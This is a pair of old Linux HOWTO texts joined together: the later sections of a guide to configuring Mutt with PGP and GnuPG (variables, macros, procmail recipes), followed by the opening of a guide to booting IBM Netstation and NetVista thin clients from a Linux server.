This method is a good way to avoid having a very big, unsorted configuration file, and can be used to set any other group of configuration variables in other separate file. For example, as before, if we use vim as the default editor in Mutt, we can tell to .muttrc to use a different configuration file .vimrc that we use when using vim from the command line. First, copy ~/.vimrc to our optional configuration files directory ~/mutt.varios/ and set it with other name (ex. vim.mutt):

$ cd /home/user ~$ cp .vimrc mutt.varios/vim.mutt

next change the configuration variables that we want to be different in vim as the Mutt editor, and finally modify .muttrc to reflect this change:

set editor="/usr/bin/vim -u ~/mutt.varios/vim.mutt"

With this last line we are setting Mutt to use an external editor, Vim, with the needed configuration options.

6.2 General Configuration Variables

There are some variables that we will use globally with the three public key encrypt programs with Mutt. These variables are boolean, and can be set (activated) or unset (deactivated).

In the configuration file (~/.muttrc, or ~/mutt.varios/.gnupgp.mutt, or whatever you use), the sign (#) is a comment and will be ignored. So, we will use it from here in advance to comment each variable:

unset pgp_autosign

# if this variables is set, Mutt will ask to sign all the
# outbound messages. (1)

unset pgp_autoencrypt

# if this variable is set, Mutt will ask to encrypt all the
# outbound messages. (1)

set pgp_encryptself

# save an encrypted copy of all sent messages that we want to encrypt
# (need the general configuration variable set copy=yes).

set pgp_replysign

# when you answer a signed message, the response message will be
# signed too.

set pgp_replyencrypt

# when you answer an encrypted message, the response message
# will be encrypted too.

set pgp_verify_sig=yes

# Do you want to automatically verify incoming signed messages?
# Of course!

set pgp_timeout=<n>

# delete pass phrase from the memory cache <n> seconds
# after typing it. (2)

set pgp_sign_as="0xABC123D4"

# what key do you want to use to sign outgoing messages?
# Note: it is posible to set it to the user id, but
# this can be confuse if you have the same user id with different keys.

set pgp_strict_enc

# use "quoted-printable" when PGP requires it.

unset pgp_long_ids

# Do not use 64 bits key ids, use 32 bits key ids.

set pgp_sign_micalg=<some>

# message integrity check algorithm, where
# <some> is something from the next: (3)

  • pgp-mda5
    to RSA keys
  • pgp-sha1
    to DSS (DSA) keys
  • pgp-rmd160

In the three next sections the configuration variables to each of the PGP versions will be explained. The fourth section will explain how to modify the variables if you use more than one PGP version.

(1) as Mutt requires to type the passphrase every time you want to sign or select the receipts if you want to encrypt, it may be unconvenient to set this variable. Possibly you may want to unset this variable. This is specially true encrypting messages, as you don't have all the public keys of the message receipts.

(2) depending on the number of messages that we sign or decrypt, we would like to maintain the pass phrase in cache memory more or less time. This option avoid you from type the pass phrase each time you sign a new message or decrypt an incoming message. Warning: maintaining the pass phrase in cache memory is not secure, specially in network connected systems.

(3) this is only necesary with the key that we use to sign. When the key is selected from the compose menu, Mutt will calculate the algoritm.

6.3 PGP2 configuration variables

To use PGP2 with Mutt-i you need to add the following lines to the ~/mutt.varios/.gnupgp.mutt file:

set pgp_default_version=pgp2
set pgp_key_version=default
set pgp_receive_version=default
set pgp_send_version=default
set pgp_sign_micalg=pgp-md5
set pgp_v2=/usr/bin/pgp
set pgp_v2_pubring=~/.pgp/pubring.pgp
set pgp_v2_secring=~/.pgp/secring.pgp

As you know, the ~/.pgp/pubring.pgp and secring.pgp files must exist. More information on PGP2 with the man pgp command.

6.4 PGP5 configuration variables

To use PGP5 with Mutt-i you need to add the following lines to the ~/mutt.varios/.gnupgp.mutt file:

set pgp_default_version=pgp5
set pgp_key_version=default
set pgp_receive_version=default
set pgp_send_version=default
set pgp_sign_micalg=pgp-sha1
set pgp_v5=/usr/bin/pgp
set pgp_v5_pubring=~/.pgp/pubring.pkr
set pgp_v5_secring=~/.pgp/secring.skr

As you know, the ~/.pgp/pubring.pkr and secring.pkr files must exist. More information on PGP 5 with the man pgp5 command.

6.5 GnuPG configuration variables

To use GnuPG with Mutt-i you need to add the following lines to the ~/mutt.varios/.gnupgp.mutt file:

set pgp_default_version=gpg
set pgp_key_version=default
set pgp_receive_version=default
set pgp_send_version=default
set pgp_sign_micalg=pgp-sha1
set pgp_gpg=/usr/bin/gpg
set pgp_gpg_pubring=~/.gnupg/pubring.gpg
set pgp_gpg_secring=~/.gnupg/secring.gpg

As you know, the ~/.gnupg/pubring.gpg and secring.gpg files must exist. More information on GnuPG with the man gpg.gnupg, man gpgm, and man gpg commands.

6.6 Mixed configuration variables

If you want to use more than one PGP software you need to modify some of the variables that we have commented previously. Really, it is only to remove the redundant version variables.

If, for example, you want to use GnuPG as the default signing tool, all menu commands in Mutt to use GnuPG/PGP would call to this program to the signing, decrypting, encrypting, verifying, etc... operations
To do that you must set the configuration variable $set_pgp_default once, so:

set pgp_default_version=gpg

now, to use the all three programs, the ~/mutt.varios/.gnupgp.mutt file could be like this:

set pgp_default_version=gpg     # default version to use

set pgp_key_version=default     # default key to use
                                # in this case, gnupg defines it

set pgp_receive_version=default # default version to decrypt will be the default
set pgp_send_version=default    # version defined in the first line (gpg)

set pgp_gpg=/usr/bin/gpg        # where to find the GnuPG binary
set pgp_gpg_pubring=~/.gnupg/pubring.gpg        # public key file to GnuPG
set pgp_gpg_secring=~/.gnupg/secring.gpg        # secret key file to GnuPG

set pgp_v2=/usr/bin/pgp         # where to find the PGP2 binary
set pgp_v2_pubring=~/.pgp/pubring.pgp           # public key file to PGP2
set pgp_v2_secring=~/.pgp/secring.pgp           # secret key file to PGP2

set pgp_v5=/usr/bin/pgp         # where to find the PGP5 binary
set pgp_v5_pubring=~/.pgp/pubring.pkr           # public key file to PGP5
set pgp_v5_secring=~/.pgp/secring.skr           # secret key file to PGP5


Mutt-i, GnuPG and PGP Howto: Interesting Macros for Mutt

 Next Previous Contents

7. Interesting Macros for Mutt

Mutt is highly configurable and its working mode can be modified in a very flexible manner if the configuration variables inside .muttrc are well configured.

Here you can see some macros that help you to generate signed messages avoiding the PGP/MIME standard, to send it to receipts that don't support this type of signed messages following the PGP/MIME standard, and to edit the alias file and reload it without exiting Mutt (this last macro is not related to PGP/GnuPG, it is presented only as an example to show the macro power in Mutt).

It is possible to tell Mutt the key bindings you want to use with PGP/GnuPG. Even when some of this options are yet configured, we can change it or add others easily modifiying the configuration file.

7.1 Signing on the message body without using PGP/MIME with PGP5

Before existing PGP/MIME, the signature in a message was included in the message body. This is a very common form of sending signed messages in many mail user agents.

If we want to sign like this, we have two options, leave the MIME type of the message or modify it as application/pgp.

To implement this two forms of signing in Mutt, we will add the following lines to the ~/mutt.varios/mutt.macros file. Previously, we have to set this option file path in the .muttrc main configuration file (see Optional configuration files):

macro   compose \Cp     "F/usr/bin/pgps\ny"
macro   compose S       "F/usr/bin/pgps\ny^T^Uapplication/pgp; format=text; x-action=sign\n"

and now, pressing <Ctrl>p or S we can include the signature into the message part that has the cursor on it, just before send the message.

7.2 Signing on the message body without using PGP/MIME with GnuPG

As in the previous case, but with GnuPG. The macros are:

macro   compose \CP     "Fgpg --clearsign\ny"
macro   compose \CS     "Fgpg --clearsign\ny^T^Uapplication/pgp; format=text; x-action=sign\n"

7.3 Modifying the alias file and reloading it

With this macro included in ~/mutt.varios/macros.mutt you can edit with vi (changing the line you can use other editor) the alias file without exiting Mutt pressing <Alt>a.

macro   index   \ea     "!vi ~/Mail/.alias\n:source =.alias\n"

7.4 More macro examples

The next listing has been obtained from Roland Rosenfeld and it shows macros to change the default signing/encrypting software and to sign without PGP/MIME with GnuPG:

# ~/Mail/.muttrc.macros
# keyboard configuration file for Mutt-i
# copied, modified and translated from the original:
#
################################################################
# The ultimative Key-Bindings for Mutt                         #
#                                                              #
# (c) 1997-1999 Roland Rosenfeld <roland@spinnaker.rhein.de>   #
#                                                              #
# $ Id: keybind,v 1.36 1999/02/20 19:36:28 roland Exp roland $ #
################################################################
#
# To use it, add the next line to ~/.muttrc:
# source ~/Mail/.muttrc.macros
#

# Generic keybindings
# (for all the Mutt menus, except the pager!)
# With the next three we can change the encrypting default selected software:

# <ESC>1 to use GnuPG
macro   generic \e1     ":set pgp_default_version=gpg ?pgp_default_version\n"\
"Switch to GNU-PG"

# <ESC>2 to use PGP2
macro   generic \e2     ":set pgp_default_version=pgp2 ?pgp_default_version\n"\
"Switch to PGP 2.*"

# <ESC>5 to use PGP5
macro   generic \e5     ":set pgp_default_version=pgp5 ?pgp_default_version\n"\
"Switch to PGP 5.*"

#NOTE: Be careful with the last backspace at the end of the previous
macros. If you write that line and the next in the same line, do not write
it.

# index, OpMain, MENU_MAIN
# (Main menu)
# The next macro only runs from the main menu (the one that appears when
# you starts Mutt). The keys <CTRL>K permit us to extract the public keys
# from a message if it has (this is known because it has the K letter in
# the message line):

macro  pager   \Ck     ":set pipe_decode pgp_key_version=pgp2\n\e\ek:set pgp_key_version=pgp5\n\e\ek:set pgp_key_version=gpg\n\e\ek:set pgp_key_version=default nopipe_decode\n"\ "Extract PGP keys to PGP2, PGP 5, and GnuPG keyrings"

# pager, OpPager, MENU_PAGER
# (Pager menu)
# It permits the same operations that previous, with the same key combinations,
# but in this case from the pager menu:

macro   pager   \e1     ":set pgp_default_version=gpg ?pgp_default_version\n"\
"switch to GNUPG"

macro   pager   \e2     ":set pgp_default_version=pgp2 ?pgp_default_version\n"\
"switch to PGP 2.*"

macro   pager   \e5     ":set pgp_default_version=pgp5 ?pgp_default_version\n"\
"switch to PGP 5.*"

# compose, OpCompose+OpGerneric, MENU_COMPOSE
# (Compose menu)
# The next operations are used from the compose menu.
# That is, after you have composed your message and you close it to send it,
# just before pressing the "Y" key that allows us to send it to the MTA.

# In this case, we create a menu that appears when you press "P".
# The options in this menu are going to be bound to MENU_PGP. This are the
# main use options (encryption and signing).

bind    compose p       pgp-menu

# As many programs can't use PGP/MIME (especially from M$), the <CTRL>P key
# will allow us to sign "as in the old times" (Application/PGP):

macro   compose \CP     "Fgpg --clearsign\ny"

# The next, <CTRL>S will allow us to sign using PGP/MIME with the private key
# that we have defined as default. This macro is not necesary, as we can
# do the same from the "P" menu:
macro   compose \CS     "Fgpg --clearsign\ny^T^Uapplication/pgp; format=text; x-action=sign\n"

You can add more macros, and some other are yet configured as default in newer versions of Mutt. Some other options include:

  • <CTRL>K (extract public keys from a message)
  • <ESC>K (adjunt a public key to a message)
  • <CTRL>F (when using the key phrase to sign or decrypt a message, it is still in memory. With this you can delete it from memory)
  • etc...

To see what other options are activated, you must go to the help menu (?) from the menu where you were.


Mutt-i, GnuPG and PGP Howto: Procmail notes and tips

 Next Previous Contents

8. Procmail notes and tips

8.1 Configuring Procmail to send automatically your public keys

As this is not the objetive of this Howto, we will comment that the securest way to get the public key from anybody is that he gives it to us directly by hand.

As many times this is not an easy method (how long they are) the people can send the public key by electronic mail, or searching it in a key server, but none of those methods assure that the obtained key is really from whom it seems to be. If you use other communication media considered "secure" (searching the owner in the phone listing and asking him to read his key "fingerprint" to contrast with the fingerprint from the key we have obtained from the non-secure path).

What we are going to see is a "tip" to put into the .procmailrc from the Procmail mail processor to get back automatically your publick key to the remitent when you get a message with a determined text in the Subject line:

:0 h
* ^Subject:[    ]+\/(|send)[    ]+key pub\>.*
| mutt -s "Re: $MATCH" `formail -rtzxTo:` </clau/mykey.asc

What it is said in the previous paragraph is: we have a copy in ASCII of our public key, in any directory (in this case the /clau directory) in a file named mykey.asc; when procmail gets a message that include "send key pub" in the Subject: line, send the file to the remitent.

IMPORTANT: what you have between the brackets is an space and a tab.

8.2 Verify and decrypt automatically messages without PGP/MIME

When you receive a signed message that uses PGP/MIME and you open it with your preferred MUA (Mutt, isn't it?), it recognizes the message as PGP/MIME and checks the signature if you have the remitent public key. These messages are the ones that have the "S" in the first part of the message line in Mutt:

36  S  05/09 Andres Seco Her ( 12K) Al fin

while the encrypted messages have the "P":

12  P  03/24 Andres Seco Her (6,3K) Re: FW: Re: Mutt - pgp/gnupg

But if the message is signed and has the "application/pgp" MIME type, when you open it Mutt doesn't check its sign, and this sign is into the message body, as here:

-----BEGIN PGP SIGNED MESSAGE-----

Date: Tue, 25 May 1999 13:04:26 +0200
From: La Corporación <bill@reboot.com>
Subject: Actualización S.O.
To: Sufrido Usuario <pepe@casa.es>

Sufrido usuario:

le comunicamos que puede usted adquirir la última actualización del
programa O.E. con la adquisición de nuestro sistema operativo reboot99
por el módico precio de ... etc.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv

iKBGNpUBX0235VapRBUy1KklAQGl9wQA3SBMio0bbbajHAnyKMOlx3tcgNG7/UVC
AbqXcUnyGGOo13Nbas95G34Fee3wsXIFo1obEfgiRzqPzZPLWoZdAnyTlZyTwCHe
6ifVpLTuaXvcn9/76rXoI6u9svN2cqHCgHuNASKHaK9034uq81PSdW4QdGLgLoeB
vnGmxE+tGg32=
=Xidf
-----END PGP SIGNATURE-----

To verify it, you must save it and use the command line. But, it is possible to convert this MIME messages type with Procmail to allow Mutt to recognize it as PGP/MIME. You only need to add this to .procmailrc:

:0
* !^Content-Type: message/
* !^Content-Type: multipart/
* !^Content-Type: application/pgp
{
    :0 fBw
    * ^-----BEGIN PGP MESSAGE-----
    * ^-----END PGP MESSAGE-----
    | formail \
        -i "Content-Type: application/pgp; format=text; x-action=encrypt"

    :0 fBw
    * ^-----BEGIN PGP SIGNED MESSAGE-----
    * ^-----BEGIN PGP SIGNATURE-----
    * ^-----END PGP SIGNATURE-----
    | formail \
        -i "Content-Type: application/pgp; format=text; x-action=sign"
}

As you can see, this is valid to signed messages and to encrypted messages with application/pgp.

8.3 Change MIME type for messages with keys inside without PGP/MIME

When you receive a public key block from a non PGP/MIME compliant MUA, you must save the message body in your disk and then insert it into your public key ring, but, including this lines into your .procmailrc file, you can include it directly from mutt.

    :0 fBw
    * ^-----BEGIN PGP PUBLIC KEY BLOCK-----
    * ^-----END PGP PUBLIC KEY BLOCK-----
    | formail -i "Content-Type: application/pgp-keys; format=text;"

Thanks to Denis Alan for this procmail note.


Mutt-i, GnuPG and PGP Howto: Interchanging signed/encrypted messages with different MUAs and platforms

 Next Previous Contents

9. Interchanging signed/encrypted messages with different MUAs and platforms

In the first days, the PGP sign was included inside the text to sign. Later, it was included the application/pgp MIME type to show that the next attach was the sign or the encrypted PGP message, and finally, with the PGP/MIME specification, it was possible to isolate the sign from the original affected, to not modify absolutelly and somebody that didn't have PGP could view the message as it was originally (only for signed messages), without any added text in the beginning or in the end from PGP.

The actual situation is that only a few mail user agents (MUAs) are capable to integrate PGP to use the PGP/MIME standard, and it is necesary to send messages using the old time PGP sign when you know that the recipient doesn't recognize PGP/MIME.

In Linux, the available mail user agents that are PGP/MIME compliant are mutt-i and pine. In Windows, only the Eudora mail client versions 3.x and 4.x can use PGP/MIME. If you know any other mail user agent that supports it, tell us by mail, to include it here.


Mutt-i, GnuPG and PGP Howto: Programs and versions used

 Next Previous Contents

10. Programs and versions used

To write this document we have used the next Mutt versions:

  • Mutt 0.93i - you can not use GnuPG with this version.
  • Mutt 0.95.3i - all PGP and GnuPG versions can be used.

And the next PGP and GnuPG versions:

  • PGPi 5.0
  • GnuPG 0.4.3
  • GnuPG 0.9.4


Mutt-i, GnuPG and PGP Howto: More information

 Next Previous Contents

11. More information

The original documentation from where this document has been obtained can be found in the man pages from "mutt", "pgp", "pgp5", "gnupg", "procmail", in the respectives directories in /usr/doc and in the world wide web sites:

  • Mutt Official Home Page - http://www.mutt.org
  • GnuPG Main Page - http://www.gnupg.org
  • PGP International Page - http://www.pgpi.com
  • Procmail Official Home Page - http://www.procmail.org

The recommendations (request for comments, RFC) that are referenced in this document are:

  • 1847 - Security Multiparts for MIME: Multipart/signed and Multipart/encripted
  • 1848 - MIME Object Security Services
  • 1991 - PGP Message Exchange Formats
  • 2015 - MIME Security with Pretty Good Privacy (PGP)
  • 2440 - OpenPGP Message Format

and can be found in /usr/doc/doc-rfc and in various sites in the world wide web, like http://metalab.unc.edu and http://nic.mil. You can get information from RFCs in RFC-INFO@ISI.EDU


Linux Netstation HOWTO

Kris Buytaert, Kris.Buytaert@advalvas.be

v1.14, 2002-02-19

This document tries to describe how to hook up a IBM Netstation / Netvista to your local network using a Linux box as server.

1. Introduction

  • 1.1 What's this document
  • 1.2 Todo
  • 1.3 Latest versions
  • 1.4 Copyright
  • 1.5 Disclaimer

2. Requirements

  • 2.1 Hardware
  • 2.2 Software

3. Setting up the Server side

  • 3.1 IBM Netstations using the AIX binaries.
  • 3.2 Not using the AIX binaries.
  • 3.3 The Netvista Linuxversions
  • 3.4 The Linux Part
  • 3.5 Setting up Automatic Client configuration

4. Configuring the Thin Client

  • 4.1 Auto Config
  • 4.2 Netstation Clients
  • 4.3 Netvista Clients

5. Misc Stuff

  • 5.1 Experiences (NC100)
  • 5.2 Connecting through a network into the NC (NC100)
  • 5.3 Port 161/udp - SNMP Access
  • 5.4 IBM Software Releases
  • 5.5 NetworkStation Manager
  • 5.6 Configuration file statements
  • 5.7 Printing
  • 5.8 PCMCIA Memory Cards
  • 5.9 Setup
  • 5.10 Images
  • 5.11 Time Sync
  • 5.12 Test Network
  • 5.13 BIOS
  • 5.14 Features

6. Other Useful Documentation

  • 6.1 The IBM Website
  • 6.2 Mailing Lists
  • 6.3 Linux on the PPC40X

7. FAQ

8. Credits

9. History


Linux Netstation HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 What's this document

Some unused piece of delicious hardware floating around on my desk. Screaming to be used. 40 MB of ram and a 403 PPC inside.

So I decided to give it a try and connect it to my local Linux network.

In this Howto we'll be dealing with an This Howto started out with a IBM Network Station model 8361-100, other models were added afterwards

We also have some additional info about the other 2 models. The 8361-200 (Model 300) and the 8362-A23 (Model 1000). More info can be found at http://www.pc.ibm.com/networkstation/products/(choose your region here)

I'm trying to describe how I setup the NC, there are probably lots of other ways to set up this machine, however this one works fine. Any other remarks you might have from your own experience are welcome. (Hardware is also welcome ;-))

This Howto is not trying to be the Bible on NC's and Linux, it's trying to get you started. Contributions to this NC are most welcome.

During the past year I have received numerous comments on the HOWTO and lots of help from other people (suprisingly a lot from inside IBM). I've been busy, therefore now is the first time that I'm trying to do a real update of the HOWTO. Most people are asking me about Linux binaries to extract the AIX distribution file. I have heard about an internal IBM project that is going on there but I have no accurate info on that matter yet.

1.2 Todo

Things we still have to implement in this Howto

  • How to export your homedir
  • How to run applications
  • How to run Java Applets

Help is appreciated ;-)

Since version 1.91 this Howto wil also document the more recent units like the Netvista 2200 and the Netvista 2800.

1.3 Latest versions

Latest versions of this document can be found on the main website.

1.4 Copyright

This HOWTO is copyrighted 1998-2001 Kris Buytaert

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the appendix entitled "GNU Free Documentation License".

1.5 Disclaimer

Use the information in this document at your own risk. I disavow any potential liability for the contents of this document. Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

All copyrights are owned by their owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.


Linux Netstation HOWTO: Requirements

 Next Previous Contents

2. Requirements

2.1 Hardware

Netstation Clients

An NC, connected to your local Network, most likely by a UTP connection , thus via a cross-cable or HUB connecting to an Server - in this case a Linux Box Basically the NC is Made to work with either AS/400 , Windows NT or AIX Servers. These are all expensive solutions, however working with thin clients doesnt have to cost that much. (Token Ring versions are also available)

The model I have at my disposal is an IBM Network Station model 8361-100, On the inside you can find an 403PPC chip, some S3 vga components, an PCMCIA slot, and normal 72 pin (parity ??) simms. I found 8+32 Mb in my edition.

Actually those 40Mb were major overkill. In full operation modes with lot's of configuration panels a couple of telnet sessions and a X -query open only took up about 4Mb of ram. ) So taking out the 32Mb showed absolutely no significant loss of speed.

Well, after working more with the Netstation, specially with Navio I found out Navio uses as much 27-30 Mb. So those 40 Mb`s really aren`t that much hoverkill

We proved it was no problem setting it up on a Linux only network. You'll need a server that can provide you both with about 25Mb of free diskspace for the software, and the capacities to run an X -query. In the setup overhere we used a 486DX50 with 8Mb as a fileserver and I switch between another 486DX266 (PS/2 85) with 32Mb, and my Multia with 48Mb as the X server Of course, the faster machines the better.

Changes in the new versions.

The new version comes with a new kernel and some changes in the applications. The kernel can now be downloaded as a compressed file which speeds up the process.

Starting with the Network Station 3.0, you need a new Boot Monitor or boot PROM (aka Firmware) with the version 3.0.x or later. Your NetworkStation won't work with a older boot PROM (aka Firmware) and the new Network Station 3.x kernel. If you buy a new NetworkStation, you always get one of the latest PROMs Older versions can be automatically updated from a boot server, from which the new boot PROM get's downloaded. (Could somebody please confirm me that these devices are the 110 versions with a PPC 403GC(X) in it !!!!)

There also is a new layout of the Setup Utility where you define you basic network settings of your Network Station.

Netvista Clients

The Netvista Clients (2200 and 2800) have been designed to run Linux natively, those thin clients are not based on PowerPC Chips but on an Intel Chipset therefore running linux on those devices is quite straightforward

2.2 Software

IBM Software.

Netstation Software

NC kernel, fonts etc.

In order to boot the NC you will need its Kernel and fonts. About 25Mb of files are needed on the server. They can be found on an AIX 4.X with the Netstation modules installed. Or from the IBM Netstation Download Page

Netvista Software

NFS Server.

A working NFS server, like in every default Linux distribution. Approx 85Mb of diskspace has to be exported to the NC. (this includes a lot of documentation which you don't acutally need)

X Server.

Any machine running XDM with enough memory, processor power will do. You don't need to have X configured on the machine itselve, it can be a head-less server. Basic X Windows install will provide you with the necessary deamons.

There is the possibility to run a local X11 server which may avoid some network traffic. The new version supports a standard X11 and a Motif X11 server. Using a configurable menu or by allowing telnet sessions you may access other computers/servers on the network.

You may also be able to export applications to your Netstation display withouth actually using XDM . You might want to run an extra window manager. This can be done by telnetting into the remote box and typing export DISPLAY=nc_ipnr:0 and afterwards running the application you want to use.

Optional

DHCP Server

If you have multiple NC's, you may wish to distribute the IP Adresses by using a DHCP Server how to obtain and configure a DHCP server can be read in the DHCP Mini Howto on sunsite


Linux Netstation HOWTO: Setting up the Server side

 Next Previous Contents

3. Setting up the Server side

You found all the software you needed. Now let's install them.

3.1 IBM Netstations using the AIX binaries.

Before making the tarball on the aix machine, make sure you run /usr/netstation/bin/agree in order to make the kernel in a usable format. Probably you will have to do the same thing with the tarball you get from the IBM website. So finding the kernel separatly might be another solution. Find a drive with about 25Mb of free diskspace, I use /usr/netstation/, and unpack the tarbal either from the IBM website or from an AIX machine. There is no need in using the approx 60Mb from /usr/netstation/doc on the disk if you don't have enough diskspace.

3.2 Not using the AIX binaries.

This section has been contributed by Ken Collins and still have to be crosschecked by me.

  • Download nsmsetup.exe from http://techsupport.services.ibm.com/nc/pcserver/index2.shtml
  • I don't have NT set up, so I moved it over into a Win98 partition and tried executing nsmsetup.exe. It extracted properly, then choked on the install and removed all the install files. Then I tried opening it with WinZip, and that worked. I just extracted everything into my Windows partition under the directory C:/netstation.
  • I then copied everything from C:/netstation/prodbase to my linux box. I set everything up in /usr/netstation, which I think was a mistake. I ran strings on parts of the package, and it looks like /netstation/prodbase is compiled into various programs. I'm going to try it again with installing in /netstation/prodbase
  • Booting the kernel worked fine. I'm not sure how much of the rest of it worked, since I've never seen a working netstation. I'm getting a lot of error messages, but an X server comes up, and I'm able to telnet and start Mwm. I was able to set up xdm and log into my Linux server, until I botched something. Now I get an IBM login screen that doesn't allow me to log in.

Some readers have helped out here. What you need to do is create a file new file that will be included in your standard.nsm or modify that file.

e.g.

You can create a file called local.nsm with the following contents (10.1.89.33 is your Linux Box)

set exec-startup-commands = { {"login 10.1.89.33"} }
set xserver-access-control-enabled = false
set tcpip-name-server-protocol = dns
set tcpip-name-servers = {{ 10.1.89.33 } }
and you add
read local.nsm
to standard.nsm.

An alternative is to change a single line in /netstation/prodbase/configs/required.nsm from { actlogin } to { login } to get an xdm chooser or { login xx.xx.xx.xx } to do a direct xdm query to your linux box. There's a third way but we haven't got confirmation on this.

{ actlogin -authserv xx.xx.xx.xx }

Philip Tait wrote to tell us this : "From the directory tree extracted from nsmsetup.exe using WinZIP classic, copy the entire tree under "Prodbase" to /netstation. Export /netstation, and proceed as for the following sections.

Bram Piket wrote in with even a better version.

After downloading the nsmsetup.exe file you should run this file. There will be a probe to install the NetworkStation under this win-system. That does not succeed (in my case?). Don't click the last error-window away. Then there is left a tempory NetStation-directory: "Ixp000.tmp". Copy the subdirectories to the linux-dir "/netstation". Rename "x11" to "X11", "en_us" to "EN_US". Then edit the file "/netstation/prodbase/configs/required.nsm" to reflect

set exec startup-commands=(
( mcuis )
( login vvv.xxx.yyy.zzz )
)
where vvv.xxx.yyy.zzz is the LINUX-server address.

3.3 The Netvista Linuxversions

Download the NetVistaLTC.tar.gz file from the IBM web pages., untar the file and run rh_install.sh (we are going for the RedHat distribution here)

Welcome to the IBM NetVista Thin Client RedHat Linux Installer

After the installation has finished, the install log files will be located
in ./tmp.
If there are problems, please look at the following files.
        install.log     - messages from the IBM install
        rpm.log         - messages generated during install of the rpm's
        rpm.err         - errors from the rpm install (most of these can
be ignored)

Please select Installation type:
  1. Local CDROM
  2. NFS
Enter Selection: 1
Mount Point for CDROM [/mnt/cdrom] ?

1) Caldera Open Linux  3) SuSe Linux          5) Other
2) RedHat Linux        4) TurboLinux
Which Linux distribution are you running on this server? 2
Client Installation Directory [/nstation/linux] ? /opt/NetVista
Client Installation Directory does not exist. Create /opt/NetVista? y
Client Machine Specific Directory [/nstation/machines] ? /opt/NetVista/machines
Client Machine Specific Directory does not exist. Create /opt/NetVista/machines? y
Machine specific directories based on MAC address or IP address [ MAC ] (IP/MAC) ?
 1) Thin clients authenticate to server (DEFAULT)
 2) No authentication to server
Select the mode you want for server booted clients? 2

Please insert the RedHat 6.2 CD

   Press <ENTER> To Continue

Installation of Server Boot RedHat 6.2 Linux client for IBM NetVista thin
clientCurrent selections:
   Server IP address:  192.168.10.61
   Client boot directory:  /opt/NetVista
   Client SPECIFIC directory:  /opt/NetVista/Machines
   Client SPECIFIC directory type:  MAC

Do you wish to continue, restart, or exit installation? (c/r/e) c

When it completes with 100% install it will show you a screen like this

Create  /opt/NetVista/etc/fstab file
Modify /opt/NetVista/etc/inittab to call rc.sysinit.IBM_NS.sboot
Rename services not needed for IBM NetVista Thin Clients
Add new Common Files
Add RedHat 6.2 Specific Files
Link files to RAM disk
Backup var directory
Setup Xserver files - XF86_SVGA and XF86Config

Added /opt/NetVista to /etc/exports
Added /opt/NetVista/Machines to /etc/exports
Stripping binaries

Client Directory Setup complete

Installation is Complete

Starting NFS services:                                     [  OK  ]
Starting NFS quotas:                                       [  OK  ]
Starting NFS mountd:                                       [  OK  ]
Starting NFS daemon:                                       [  OK  ]

INSTALLATION IS COMPLETE !!!

Upgrade for the IBM Network station Boot Monitor.

You can download the most recent bflash images from http://service.boulder.ibm.com/dl/nc/priv/netsta-rd_linux Just point the device to boot from the bflash images you downloaded and your firmware will upgrade itselve !.

3.4 The Linux Part

Setting up the nfs server

Edit your /etc/exports, add the line

/usr/netstation   10.0.0.50(rw)
Where 10.0.0.50 is the IP address you want to give to the NC. Restart your nfs deamon.

[root@velvet sdog]# ps auxf |grep rpc
sdog      4145  0.0  5.8   828   384  p1 S   03:55   0:00          \_ grep rpc
root      3120  0.0  5.7   944   380  ?  S  Feb 27   0:00 rpc.mountd
root      3129  0.0  1.5   880   100  ?  S  Feb 27   0:10 rpc.nfsd
[root@velvet sdog]# kill -9 3120 3129 ; /usr/sbin/rpc.mountd ; /usr/sbin/rpc.nfsd

or on a RedHat-like system easier (5.X)

[root@velvet init.d]# pwd
/etc/rc.d/init.d
[root@velvet init.d]# ./nfs restart
Restarting NFS services: rpc.nfsd rpc.mountd done.
[root@velvet init.d]#

Your NC should now be able to mount the /usr/netsation by NFS.

Bascially if you don`t need X-Windows this is as far as it gets. You can easily telnet from your NC with nothing more installed. However the beauty of this thing is it`s X capability.

Setting up the X server

Next we have to set up the X server. Basically I didn't need to set up anything, all of my machines that ran X-Windows were configured to accept connections. I just started up the NC for the first time and it showed me all the machines that ran an XDM (cfr running an X -indirect). So any machine that can run xdm can be used as X Server. Just make sure XDM is So any machine that can run xdm can be used as X Server. Just make sure XDM is started.

3.5 Setting up Automatic Client configuration

This part has been contributed by Josef Hill

what I'm including is the line for using the NS1000 with no configuration done on the box. (defaults.. everything is left blank)

inetd.conf:

tftp dgram udp wait nobody /usr/sbin/tcpd in.tftpd /QIBM

then create a directory /QIBM/ProdData/NetworkStation/

and copy the contents of the prodbase directory in the winzip sfx nsmsetup.exe which you can download from http://techsupport.services.ibm.com/dl/nc/priv/netsta-rd_nsm (you may need to create an account to access this.. it's free and requires no real information.) note that this download is 90some MB

At this point, if you've done the 3 requisite steps, your netstation will boot.

  • set up DHCP
  • enable TFTP to the QIBM directory
  • copy the contents of the prodbase directory to the proper path
Note: It will probably help an awful lot if you have xdm set up (speciffically for xdmcp sessions).

If you use this approach you can obviously skip the next part ! ;-)

Everything on the server side should be setup now. Lets try the NC side.


Linux Netstation HOWTO: Configuring the Thin Client

 Next Previous Contents

4. Configuring the Thin Client

4.1 Auto Config

If you have setup autoconfig as described above you shouldn`t be reading this part unless it doesn`t work

4.2 Netstation Clients

Unplug the network cable from the NC. Then boot it up.

After checking its Memory, VGA etc, it will boot into the IBM Network Station Setup Utility. Basically you can manage everything from this menu system. The main parts will be described here.

Setting up TCP/IP

Section 5 (F5) : Your network setup should look something like this :

IP Addressed From                                NVRAM
Network Station IP Adress                        10.0.0.50
First Boot Host IP Adress                        10.0.0.1
Second Boot Host IP Adress                       10.0.0.11
Third Boot Host IP Adress                        0.0.0.0
Gateway IP Adress                                10.0.0.1
Subnet Mask                                      255.255.255.0
Broadcast IP Adress                              10.0.0.255
Ethernet Standard                                Version 2

Resembles my setup. The NC itself has 10.0.0.50 While 10.0.0.1 is the NFS Server, 10.0.0.11 is a secondary NFS server, just in case.

Setting Up the Boot Parameters

Section 6 (F6): Looks like this in my setup.

Boot file                               kernel
TFTP Boot Directory                     /usr/netstation/
NFS Boot Directory                      /usr/netstation/
